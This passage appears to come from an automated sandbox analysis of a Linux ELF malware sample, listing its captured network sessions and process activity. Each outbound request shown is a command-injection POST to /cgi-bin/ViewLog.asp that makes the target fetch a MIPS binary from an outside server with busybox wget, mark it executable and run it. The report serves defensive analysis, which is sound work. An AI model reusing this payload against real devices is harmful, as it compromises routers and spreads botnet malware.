                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1008192.168.2.153594694.121.27.2448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:14.809753895 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1009192.168.2.155311831.179.159.1388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:15.111577988 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:15.321644068 CET388INHTTP/1.1 404 Not Found
                                                Server: nginx/1.8.1
                                                Date: Thu, 23 Nov 2023 04:23:15 GMT
                                                Content-Type: text/html
                                                Content-Length: 168
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.8.1</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1010192.168.2.155505031.200.29.658080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:15.126584053 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1011192.168.2.155280031.200.119.2528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:15.126704931 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1012192.168.2.155157494.120.100.1248080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:15.131084919 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1013192.168.2.154190894.120.54.468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:15.360126019 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1014192.168.2.155433085.253.96.568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:15.756505013 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1015192.168.2.153840631.220.81.1988080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:15.779592037 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1016192.168.2.154069694.121.156.1948080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:15.811531067 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1017192.168.2.154557495.42.140.1778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:15.964056969 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:16.174999952 CET724INHTTP/1.1 404 Not Found
                                                Referrer-Policy: no-referrer
                                                Server: thttpd
                                                Content-Type: text/html; charset=utf-8
                                                Date: Thu, 23 Nov 2023 04:23:15 GMT
                                                Last-Modified: Thu, 23 Nov 2023 04:23:15 GMT
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Cache-Control: no-cache,no-store
                                                Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 09 3c 68 31 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 68 65 69 67 68 74 3a 20 31 35 30 70 78 22 3e 0a 09 09 3c 73 70 61 6e 3e 0a 09 09 09 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 66 6f 75 6e 64 0a 09 09 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 68 31 3e 0a 20 20 20 20 3c 70 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 32 30 70 78 3b 22 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 0a 20 20 20 20 20 3c 2f 70 3e 0a 09 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0a 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 09 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <html><head></head><body><h1 style="text-align: center; height: 150px"><span>Error 404 Not found</span> </h1> <p style="text-align:center; font-size: 16px; font-weight: 400; padding: 10px 20px;"> The requested URL was not found on this server </p><div style="text-align: center;"><a href="/">Home</a></div></body></html><HR></BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1018192.168.2.153876862.150.44.348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:16.057332039 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:16.336616993 CET278INHTTP/1.1 403 Forbidden
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 106
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1019192.168.2.154454231.200.45.918080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:16.217313051 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1020192.168.2.155653862.29.34.1878080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:16.218216896 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1021192.168.2.155437895.86.96.2028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:16.220837116 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                System Behavior

                                                Start time (UTC):04:19:40
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:/tmp/ehzGeYz3RM.elf
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:19:40
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:22:29
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:22:29
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:22:29
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:22:29
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:19:40
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:19:40
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:19:40
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:22:24
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:19:40
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                Start time (UTC):04:19:40
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:19:40
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
                                                Start time (UTC):04:19:40
                                                Start date (UTC):23/11/2023
                                                Path:/tmp/ehzGeYz3RM.elf
                                                Arguments:-
                                                File size:4956856 bytes
                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1